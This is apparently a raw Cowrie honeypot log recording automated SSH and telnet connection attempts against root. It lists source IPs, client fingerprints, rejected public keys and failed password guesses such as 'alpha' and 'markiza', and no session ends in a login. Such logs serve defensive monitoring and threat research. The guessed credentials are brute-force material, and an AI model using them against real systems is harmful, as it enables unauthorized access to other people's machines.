{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:11:ca:7c:08:c5:46:30:13:66:8e:3b:58:54:51:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLeIw9/wduSuay60gL6au1FQLwGY+ScVOlMJ7y7+2HP19Cl+jtXhg74g8xT+Rvkshuf+0ltzk4C4s7op/kRuFy8rXebgNM2J0NquRYyOwp5HwSRB+FDiz5UA//8iXlrsXRLJBgQi/0Nq/I0md1IL4rtT+AGtWcuKyUEN17q7DYrTg35tGZYFwxf/5Fyl6xeL2R/NTtVYeSW+EYFTjhZauWm+Pygd6DAArknG0stPlZbcnAvPaNsJEmSBOYWsWuI+dTIuR8haVJ+JYBOjwWwSWx8lWcURJTjbTLP/r5ZpSUnL6b1tmeSFa5hfqqF1Y2uQMnN8+03oM2y5cC5l9niHUz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.453867Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.470366Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":4982,"dst_ip":"10.17.0.5","dst_port":22,"session":"539cadc1f628","protocol":"ssh","message":"New connection: 87.121.69.138:4982 (10.17.0.5:22) [session: 539cadc1f628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:57.478778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:57.483622Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:57.567605Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:90:d5:f5:02:c4:e1:0b:ff:80:65:5a:5b:e7:f0:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wCwBCeybRaXswSS99eN/LhWpAZYZpkN8mPhof33AdVRZaZEY2WIE4X/KtaBBRApybySMXfx6nl6NKiE1MXpnl7qFEoyPhScnscccJynr0YFs7fA2LHPy0nWrrW9SjbrDa+nl+hxTGaUxOX/ffE7tsgyWsF/YPGYPiJNohebaXZ1mp42sYvhdcc2dhy+4liuoyqLq/JVGd0rs9Jtvw16WHkQSzd0Cz1mRs3TucYT/qCGJxbx9WXAE6jIxdU25WC2pf+GvTst2Fptp+E1mFpOu8z3/0VOPpJNsrxaDEMSOGMO97ybp8Nw45tRVIiNNVDWe5NSPBXrTlgWbKlD5QbbQ2XDW5DP3/EkLz4AVivS6+HRrjThWbm9QbYRIh9xEnkAIXs/beRUoS0LPFwS32TWwdKKHDEivL/lpt1MGmQCJcuxcSnlFFqZ64le9mqkOAUXpoCXuJDFfvqrxanAnfuBcxFaUuLXSgKTg2CzO07AR6f0hQmt7wGyGkFIkuTpHrzHD6XBRWQ4WFIwQEcp1B66aECzrZJxQRj98JP7TNM76JtcHBuJyhB+/VaTMpDX52LxHAPrN6AR42zZdyFvm3z8KbgtwGGZzYuSfzvBNBPqDuHNRGvE1q/DyNWtI+7Aq9RVYeYuX+EXaTy1TrKHLRFxNyADHl+DABaT/0wllw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:90:d5:f5:02:c4:e1:0b:ff:80:65:5a:5b:e7:f0:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:57.959987Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:90:d5:f5:02:c4:e1:0b:ff:80:65:5a:5b:e7:f0:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wCwBCeybRaXswSS99eN/LhWpAZYZpkN8mPhof33AdVRZaZEY2WIE4X/KtaBBRApybySMXfx6nl6NKiE1MXpnl7qFEoyPhScnscccJynr0YFs7fA2LHPy0nWrrW9SjbrDa+nl+hxTGaUxOX/ffE7tsgyWsF/YPGYPiJNohebaXZ1mp42sYvhdcc2dhy+4liuoyqLq/JVGd0rs9Jtvw16WHkQSzd0Cz1mRs3TucYT/qCGJxbx9WXAE6jIxdU25WC2pf+GvTst2Fptp+E1mFpOu8z3/0VOPpJNsrxaDEMSOGMO97ybp8Nw45tRVIiNNVDWe5NSPBXrTlgWbKlD5QbbQ2XDW5DP3/EkLz4AVivS6+HRrjThWbm9QbYRIh9xEnkAIXs/beRUoS0LPFwS32TWwdKKHDEivL/lpt1MGmQCJcuxcSnlFFqZ64le9mqkOAUXpoCXuJDFfvqrxanAnfuBcxFaUuLXSgKTg2CzO07AR6f0hQmt7wGyGkFIkuTpHrzHD6XBRWQ4WFIwQEcp1B66aECzrZJxQRj98JP7TNM76JtcHBuJyhB+/VaTMpDX52LxHAPrN6AR42zZdyFvm3z8KbgtwGGZzYuSfzvBNBPqDuHNRGvE1q/DyNWtI+7Aq9RVYeYuX+EXaTy1TrKHLRFxNyADHl+DABaT/0wllw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:57.964161Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:47:f9:06:fa:be:48:58:0a:c7:08:fa:11:5e:e9:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXIdXjyoNbC/PtQc5tFXAVtmK7PK3KZvyZkqFf6Zsj52bROpWF23HYnKd1c1F/Nk5efF0SD74bWLodmYRc//hPsoVS3x42FM8c4XpDOHMMMBp6j5JopAHUmC4/BLS9oQlc3QxXcdT2Y4sBJrXXuEcM53vQKhWIcP4pQMtNaCzpqYdXH7a8UMO1hZM4NYoVPnIwGREvVk7KlNRFLFyPhmmKad8l6Hrllkbwtm/gOzGxgY5bW7WhKu9Bv6JUhAZMGh+gLy0O51bVTS0bqN8IgWkehoWeb04w2S5rrjNIAp4Enkj0ezb9fFXoStoEqMZK6DTd4uUKgWmcuqVm0u5b8Vix","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:47:f9:06:fa:be:48:58:0a:c7:08:fa:11:5e:e9:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.047452Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:47:f9:06:fa:be:48:58:0a:c7:08:fa:11:5e:e9:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXIdXjyoNbC/PtQc5tFXAVtmK7PK3KZvyZkqFf6Zsj52bROpWF23HYnKd1c1F/Nk5efF0SD74bWLodmYRc//hPsoVS3x42FM8c4XpDOHMMMBp6j5JopAHUmC4/BLS9oQlc3QxXcdT2Y4sBJrXXuEcM53vQKhWIcP4pQMtNaCzpqYdXH7a8UMO1hZM4NYoVPnIwGREvVk7KlNRFLFyPhmmKad8l6Hrllkbwtm/gOzGxgY5bW7WhKu9Bv6JUhAZMGh+gLy0O51bVTS0bqN8IgWkehoWeb04w2S5rrjNIAp4Enkj0ezb9fFXoStoEqMZK6DTd4uUKgWmcuqVm0u5b8Vix","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.051402Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:77:b6:6c:e1:8f:b1:38:26:38:0b:85:89:ec:13:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDElRi/D90Gfe9DTHvHMAeyc2LlA7OIWIhAYpQRh2BuO7SsW6mAA/O4D31S1/9qq/u3v1UkzvLzBmmCda5tE0M+PjGN3k8jeQxbTGUeqMNLX0nVWPsnr7PcAxwQEghmhEjJoxC0/bZ03zPLkwpd1PDz8JEYKyI8qsoGp2uoqotX6lFd17RjE0GR7UtqYUwKMe5MPmPVBnIo8mqR5f7hMqblzNQfXhOVjFuxupn398bePC6+1HbKecwoN2bnefubJ731O9tvOt5/irAMnZNV2gvMXvSOKq5UsbjiMzV29D7UYfIrMg8BUfCkKst7UORt9Gc74zJpE1X7py8uiT7tV0IN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:77:b6:6c:e1:8f:b1:38:26:38:0b:85:89:ec:13:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.136459Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:77:b6:6c:e1:8f:b1:38:26:38:0b:85:89:ec:13:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDElRi/D90Gfe9DTHvHMAeyc2LlA7OIWIhAYpQRh2BuO7SsW6mAA/O4D31S1/9qq/u3v1UkzvLzBmmCda5tE0M+PjGN3k8jeQxbTGUeqMNLX0nVWPsnr7PcAxwQEghmhEjJoxC0/bZ03zPLkwpd1PDz8JEYKyI8qsoGp2uoqotX6lFd17RjE0GR7UtqYUwKMe5MPmPVBnIo8mqR5f7hMqblzNQfXhOVjFuxupn398bePC6+1HbKecwoN2bnefubJ731O9tvOt5/irAMnZNV2gvMXvSOKq5UsbjiMzV29D7UYfIrMg8BUfCkKst7UORt9Gc74zJpE1X7py8uiT7tV0IN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.140332Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:db:26:86:db:e6:c4:68:2e:0d:86:9b:cf:59:d7:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMFsIkpY23Wgk2t/CzlUejlMj71UDVZ9xIjdzssWKRVK4rXTM9OF2OLyGpd1JO/z9w67qhTblhhsqMJlpVZZ33t5kkXuWve5Uc6YC3mnsc3gxSEULWYxe/wGCdOD4RLHCNyFOi0ZWYZzOfCX6IouR0sUVpk8qkX2EQ7x/DOrfz+8fY4It4F4y70LaGll8U/lcxNp3sJZXqs2MKUqEhV7ApjnXO3psG2NHsS09Eg+XU5riH87dl4uZ+gQxjwxbgorC/FPx1jJnzsjZmqyu5OeanbxbhE81RU87s4br5gAYUrWUAYXqAsJaJfrkfyelJHOfvY0hzNncnVCr4BcRjt5U7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:db:26:86:db:e6:c4:68:2e:0d:86:9b:cf:59:d7:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.227423Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:db:26:86:db:e6:c4:68:2e:0d:86:9b:cf:59:d7:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMFsIkpY23Wgk2t/CzlUejlMj71UDVZ9xIjdzssWKRVK4rXTM9OF2OLyGpd1JO/z9w67qhTblhhsqMJlpVZZ33t5kkXuWve5Uc6YC3mnsc3gxSEULWYxe/wGCdOD4RLHCNyFOi0ZWYZzOfCX6IouR0sUVpk8qkX2EQ7x/DOrfz+8fY4It4F4y70LaGll8U/lcxNp3sJZXqs2MKUqEhV7ApjnXO3psG2NHsS09Eg+XU5riH87dl4uZ+gQxjwxbgorC/FPx1jJnzsjZmqyu5OeanbxbhE81RU87s4br5gAYUrWUAYXqAsJaJfrkfyelJHOfvY0hzNncnVCr4BcRjt5U7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.231607Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:b1:88:c2:79:eb:e6:67:5a:1e:df:42:37:07:c5:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvN3+oO3sFvNTPqlAgbMh6mzcOwJsjZRVr9fOiAeh2mj4Np/NmBzQa5+maohDRb+u6cwKqZlK09r+MbPpygwtiFSs7+LDnc9eSJaLfXtUhKyra26AgZ+KzXrmQtRGvR5zAMrD/o9UtmSOC0lG1VzYYsYfHEm5QTe2xT3ToqWCBhBAEG+ypLiAz/mUSB+TOafwZHTsqyoA4OI5XA56VMCGOkJb5w0plr95Tp4bnX24PsxpLngPtQ92PLqK8PMGaNJIjTMFcMXY3wIIUoUL7JP5ZKYvCI5DboysCtzhyqvWM0uwPjeKO5+q9W6RoUBzVGg9dQaYbetjSwsKbEhh1pGH6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:b1:88:c2:79:eb:e6:67:5a:1e:df:42:37:07:c5:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.315913Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:b1:88:c2:79:eb:e6:67:5a:1e:df:42:37:07:c5:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvN3+oO3sFvNTPqlAgbMh6mzcOwJsjZRVr9fOiAeh2mj4Np/NmBzQa5+maohDRb+u6cwKqZlK09r+MbPpygwtiFSs7+LDnc9eSJaLfXtUhKyra26AgZ+KzXrmQtRGvR5zAMrD/o9UtmSOC0lG1VzYYsYfHEm5QTe2xT3ToqWCBhBAEG+ypLiAz/mUSB+TOafwZHTsqyoA4OI5XA56VMCGOkJb5w0plr95Tp4bnX24PsxpLngPtQ92PLqK8PMGaNJIjTMFcMXY3wIIUoUL7JP5ZKYvCI5DboysCtzhyqvWM0uwPjeKO5+q9W6RoUBzVGg9dQaYbetjSwsKbEhh1pGH6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.319884Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:58.404348Z","src_ip":"87.121.69.138","session":"539cadc1f628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":59182,"dst_ip":"10.17.0.5","dst_port":22,"session":"973c8de786b4","protocol":"ssh","message":"New connection: 43.228.112.254:59182 (10.17.0.5:22) [session: 973c8de786b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:28.947416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:28.952772Z","src_ip":"43.228.112.254","session":"973c8de786b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:29.178569Z","src_ip":"43.228.112.254","session":"973c8de786b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E4r","message":"login attempt [root/!Q@W#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:30.121223Z","src_ip":"43.228.112.254","session":"973c8de786b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:31.352551Z","src_ip":"43.228.112.254","session":"973c8de786b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":47582,"dst_ip":"10.17.0.5","dst_port":22,"session":"169efceb47b2","protocol":"ssh","message":"New connection: 43.130.57.37:47582 (10.17.0.5:22) [session: 169efceb47b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:47.725913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:47.732501Z","src_ip":"43.130.57.37","session":"169efceb47b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:47.807863Z","src_ip":"43.130.57.37","session":"169efceb47b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:48.117315Z","src_ip":"43.130.57.37","session":"169efceb47b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:49:49.191642Z","src_ip":"43.130.57.37","session":"169efceb47b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a91148fa40","protocol":"telnet","message":"New connection: 192.119.13.58:46196 (10.17.0.5:23) [session: d8a91148fa40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:00.488284Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":43346,"dst_ip":"10.17.0.5","dst_port":22,"session":"89646f4bfca3","protocol":"ssh","message":"New connection: 103.27.238.120:43346 (10.17.0.5:22) [session: 89646f4bfca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:25.819148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:25.824419Z","src_ip":"103.27.238.120","session":"89646f4bfca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:26.088734Z","src_ip":"103.27.238.120","session":"89646f4bfca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"markiza","message":"login attempt [root/markiza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:26.880540Z","src_ip":"103.27.238.120","session":"89646f4bfca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:28.147980Z","src_ip":"103.27.238.120","session":"89646f4bfca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.68373513221741,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:50:33.171845Z","src_ip":"192.119.13.58","session":"d8a91148fa40","protocol":"telnet"}
